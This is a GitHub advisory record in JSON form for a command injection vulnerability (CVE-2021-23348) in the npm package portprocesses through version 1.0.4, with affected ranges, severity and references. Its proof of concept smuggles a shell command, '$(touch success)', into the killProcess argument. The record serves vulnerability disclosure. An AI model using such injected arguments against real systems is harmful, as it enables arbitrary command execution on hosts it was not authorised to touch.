{"id":"GHSA-vm67-7vmg-66vm","revision":"631b8a0076314855b03679bb1efd8d59","records":[{"revision":"631b8a0076314855b03679bb1efd8d59","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-vm67-7vmg-66vm","aliases":["CVE-2021-23348","SNYK-JS-PORTPROCESSES-1078536"],"title":"Arbitrary Command Injection in portprocesses","description":"### Impact\n\nAn Arbitrary Command Injection vulnerability was reported in `portprocesses` impacting versions <= 1.0.4.\n\n### Example (Proof of Concept)\n\nThe following example demonstrates the vulnerability and will run `touch success` therefore creating a file named `success`.\n\n```js\nconst portprocesses = require(\"portprocesses\");\n\nportprocesses.killProcess(\"$(touch success)\");\n```","state":0,"publishedAt":"2021-04-06T17:24:50+00:00","modifiedAt":"2026-09-10T03:49:04.0066777+00:00","affected":[{"ecosystem":"npm","name":"portprocesses","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.0.5"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/rrainn/PortProcesses/security/advisories/GHSA-vm67-7vmg-66vm","https://nvd.nist.gov/vuln/detail/CVE-2021-23348","https://github.com/rrainn/PortProcesses/commit/86811216c9b97b01b5722f879f8c88a7aa4214e1","https://github.com/rrainn/PortProcesses/blob/fffceb09aff7180afbd0bd172e820404b33c8299/index.js%23L23","https://snyk.io/vuln/SNYK-JS-PORTPROCESSES-1078536"],"sourceUrl":"https://github.com/advisories/GHSA-vm67-7vmg-66vm","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-vm67-7vmg-66vm","identifiers":["GHSA-vm67-7vmg-66vm","CVE-2021-23348","SNYK-JS-PORTPROCESSES-1078536"]},"retained":false,"historicalAffected":[]}],"coverage":[]}